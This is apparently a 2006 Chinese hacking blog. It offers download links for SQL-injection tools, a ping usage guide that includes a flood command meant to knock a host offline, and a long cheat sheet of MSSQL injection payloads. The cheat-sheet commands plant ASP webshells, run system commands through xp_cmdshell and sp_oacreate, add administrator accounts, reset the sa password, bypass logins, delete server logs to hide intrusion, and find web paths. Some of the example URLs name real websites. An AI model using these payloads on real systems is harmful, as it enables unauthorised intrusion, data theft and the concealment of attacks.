stone's blog
以一种忽视来证明自己的存在......
IT博客 | 首页 | 发新随笔 | 发新文章 | 联系 | 聚合 | 管理

明小子的php注入工具
一款PHP的注入工具很不错的!!     
点击下载
posted @ 2006-10-10 04:19 stone 阅读(3955) | 评论 (3) | 编辑 收藏
 
Nbsi30vip
这个是 3.0的....还不错                    
 点击下载
posted @ 2006-10-10 04:16 stone 阅读(592) | 评论 (0) | 编辑 收藏
 
NBSI2破解版

      
 点击下载

posted @ 2006-10-10 04:12 stone 阅读(1963) | 评论 (1) | 编辑 收藏
 
HDSI2.2黑客X档案专用版

恢复cmd_shell
开启3389终端(开启后对方会自动重起服务器)
增加了即时编辑 表里的内容

增加了 PHP注入  
                  
 点击下载

posted @ 2006-10-10 04:05 stone 阅读(720) | 评论 (0) | 编辑 收藏
 
冰舞V2.5
                冰舞是一款针对ASP脚本网站的扫描工具。它结合扫描和注射为一体,能够很全面的寻找目标网站存在的漏洞。                                               
  点击下载
posted @ 2006-10-10 03:57 stone 阅读(1210) | 评论 (1) | 编辑 收藏
 
关于ping命令的高级、基本用法大全

关于ping命令的高级、基本用法大全

ping的基本用法想必大家都会,可知不值到有关ping命令的高级用法呢

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] │ [-k computer-list] [-w timeout] destination-list
Options:
-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。

-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com。

-n count Number of echo requests to send.
发送count指定的Echo数据包数。
在默认情况下,一般都只发送四个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送50个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:
C:\>ping -n 50 202.103.96.68
Pinging 202.103.96.68 with 32 bytes of data:
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Request timed out.
………………
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Ping statistics for 202.103.96.68:
Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 51ms, Average = 46ms
从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中,返回了48个,其中有两个由于未知原因丢失,这48个数据包当中返回速度最快为40ms,最慢为51ms,平均速度为46ms。

-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。

-f Set Don't Fragment flag in packet.
在数据包中发送“不要分段”标志。
在一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。

-i TTL Time To Live.
指定TTL值在对方的系统里停留的时间。
此参数同样是帮助你检查网络运转情况的。

-v TOS Type Of Service.
将“服务类型”字段设置为 tos 指定的值。

-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90

Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。

-s count Timestamp for count hops.
指定 count 指定的跃点数的时间戳。
此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。

-j host-list Loose source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。

-k host-list Strict source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。

-w timeout Timeout in milliseconds to wait for each reply.
指定超时间隔,单位为毫秒。
此参数没有什么其他技巧。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff
255---FF
  128---80
  64----40
  32----20

还有比较基本的,大家都会的:
说得详解一点
-a 将目标的机器标识转换为ip地址
-t 若使用者不人为中断会不断的ping下去
-c count 要求ping命令连续发送数据包,直到发出并接收到count个请求
-d 为使用的套接字打开调试状态
-f 是一种快速方式ping。使得ping输出数据包的速度和数据包从远程主机返回一样快,或者更快,达到每秒100次。在这种方式下,每个请求用一个句点表示。对于每一个响应打印一个空格键。
-i seconds 在两次数据包发送之间间隔一定的秒数。不能同-f一起使用。
-n 只使用数字方式。在一般情况下ping会试图把IP地址转换成主机名。这个选项要求ping打印IP地址而不去查找用符号表示的名字。如果由于某种原因无法使用本地DNS服务器这个选项就很重要了。
-p pattern 拥护可以通过这个选项标识16 pad字节,把这些字节加入数据包中。当在网络中诊断与数据有关的错误时这个选项就非常有用。
-q 使ping只在开始和结束时打印一些概要信息。
-R 把ICMP RECORD-ROUTE选项加入到ECHO_REQUEST数据包中,要求在数据包中记录路由,这样当数据返回时ping就可以把路由信息打印出来。每个数据包只能记录9个路由节点。许多主机忽略或者放弃这个选项。
-r 使ping命令旁路掉用于发送数据包的正常路由表。
-s packetsize 使用户能够标识出要发送数据的字节数。缺省是56个字符,再加上8个字节的ICMP数据头,共64个ICMP数据字节。
-v 使ping处于verbose方式。它要ping命令除了打印ECHO-RESPONSE数据包之外,还打印其它所有返回的ICMP数据包。

 

校验与远程计算机或本地计算机的连接。只有在安装 TCP/IP 协议之后才能使用该命令。
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] │ [-k computer-list] [-w timeout] destination-list
参数
-t
校验与指定计算机的连接,直到用户中断。
-a
将地址解析为计算机名。
-n count
发送由 count 指定数量的 ECHO 报文,默认值为 4。
-l length
发送包含由 length 指定数据长度的 ECHO 报文。默认值为 64 字节,最大值为 8192 字节。
-f
在包中发送“不分段”标志。该包将不被路由上的网关分段。
-i ttl
将“生存时间”字段设置为 ttl 指定的数值。
-v tos
将“服务类型”字段设置为 tos 指定的数值。
-r count
在“记录路由”字段中记录发出报文和返回报文的路由。指定的 Count 值最小可以是 1,最大可以是 9 。
-s count
指定由 count 指定的转发次数的时间邮票。
-j computer-list
经过由 computer-list 指定的计算机列表的路由报文。中间网关可能分隔连续的计算机(松散的源路由)。允许的最大 IP 地址数目是 9 。
-k computer-list
经过由 computer-list 指定的计算机列表的路由报文。中间网关可能分隔连续的计算机(严格源路由)。允许的最大 IP 地址数目是 9 。
-w timeout
以毫秒为单位指定超时间隔。
destination-list
指定要校验连接的远程计算机。
关于 Ping 的详细信息
Ping--注意
Ping 命令通过向计算机发送 ICMP 回应报文并且监听回应报文的返回,以校验与远程计算机或本地计算机的连接。对于每个发送报文, Ping 最多等待 1 秒,并打印发送和接收把报文的数量。比较每个接收报文和发送报文,以校验其有效性。默认情况下,发送四个回应报文,每个报文包含 64 字节的数据(周期性的大写字母序列)。
可以使用 Ping 实用程序测试计算机名和 IP 地址。如果能够成功校验 IP 地址却不能成功校验计算机名,则说明名称解析存在问题。这种情况下,要保证在本地 HOSTS 文件中或 DNS
数据库中存在要查询的计算机名。
下面显示 Ping 输出的示例:(Windows用户可用:开始->运行,输入"command" 调出command窗口使用此命令)
C:\>ping ds.internic.net
Pinging ds.internic.net [192.20.239.132] with 32 bytes of data:
Reply from 192.20.239.132: bytes=32 time=101ms TTL=243
Reply from 192.20.239.132: bytes=32 time=100ms TTL=243
Reply from 192.20.239.132: bytes=32 time=120ms TTL=243
Reply from 192.20.239.132: bytes=32 time=120ms TTL=243

这下比较全了!

posted @ 2006-10-10 00:26 stone 阅读(603) | 评论 (0) | 编辑 收藏
 
最详细的SQL注入相关的命令整理
1、 用^转义字符来写ASP(一句话木马)文件的方法:

http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<****** language=VBScript runat=server^>execute request^("l"^)^</******^> >c:\mu.asp';--


 echo ^<%execute^(request^("l"^)^)%^> >c:mu.asp


2、 显示SQL系统版本:

http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)

http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--


Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。


4、 判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:inetputwebxplog70.dll’;--


5、 向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'



6、 查看当前的数据库名称:

http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了

http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:
select * from master.dbo.sysdatabases 列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录


8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
Create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'w******.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。


EXEC sp_oacreate '******ing.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌


WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
Insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END


Drop TABLE MYTMP


----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'w******.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c c****** C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate '******ing.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
Insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END


以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'w******.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c c****** C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate '******ing.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END


以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'w******.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c c******.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate '******ing.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END


SQL下三种执行CMD命令的方法:


先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'


(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'w******.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate '******ing.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END


(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切


 这里仅给出sysadmin权限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')



 建立链接数据库'L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'


 如何使用链接数据库:


使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的


实用性不强,仅作为一个学习总结吧


大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:


 新建链接服务器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
 exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
 Select * FROM OPENQUERY(L0op8ack, 'Select shell("cmd.exe /c net user")');--
 exec sp_droplinkedsrvlogin 'L0op8ack','false';--
 exec sp_dropserver 'L0op8ack';--


再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'


(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'w******.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate '******ing.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END


(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'w******.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate '******ing.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out Insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END


9、 用Update来更新表中的数据:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为


10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:inetpubwwwrootruncommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。


11、创建表、播入数据和读取数据的方法
 创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
 往表里播入数据:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
 从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--


 删除临时表:
';drop table cyfd;--


12、通过SQL语句直接更改sa的密码:
 update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。


 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins


 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'


13、查询dvbbs库中所有的表名和表结构:
 select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
 select * from dvbbs.dbo.syscolumns where id=1426104121


14、手工备份当前数据库:
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH fo**AT--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,fo**AT—


15、添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin


cmd.exe /c isql -E /U alma /P /i K:\test.qry


16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0


17、

http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
 select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名


18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978


19、绕过登录验证进入后台的方法整理:
1) ' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人气%’ and 1=1 and ’%’=’


20、寻找网站路径的方法汇总:
1)查看WEB网站安装目录命令:
 c****** c:\inetpub\admin******s\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件


2)在网站上随便找到一个图片的名字 123.jpg
然后写进批处理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt


执行后 type c:\123.txt
这样来分析网站的路径


3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?
将执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意输出前Backup这两个文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来访问:http://目标ip/2.asp


4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003系统:xp_regread读取,未找到方法
如:
(1) 新建一个表cyfd(字段为gyfd):
http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路径写进去:
http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 还是让他不匹配,显示错误:
http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
De******ion: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:
http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--


5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面
regedit命令说明:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:windows/R:C:windows/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。


regedit /s c:\adam.reg (导入c:\adam.reg文件至注册表)
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中)
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtual Roots"
然后http://目标IP/2.asp
针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。


6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。


7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
 建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'c****** C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:winntsystem32"'
 让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'c****** C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
 删除虚拟目录win:exec master.dbo.xp_cmdshell 'c****** C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
 测试:
http://127.0.0.1/win/test.asp
8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:
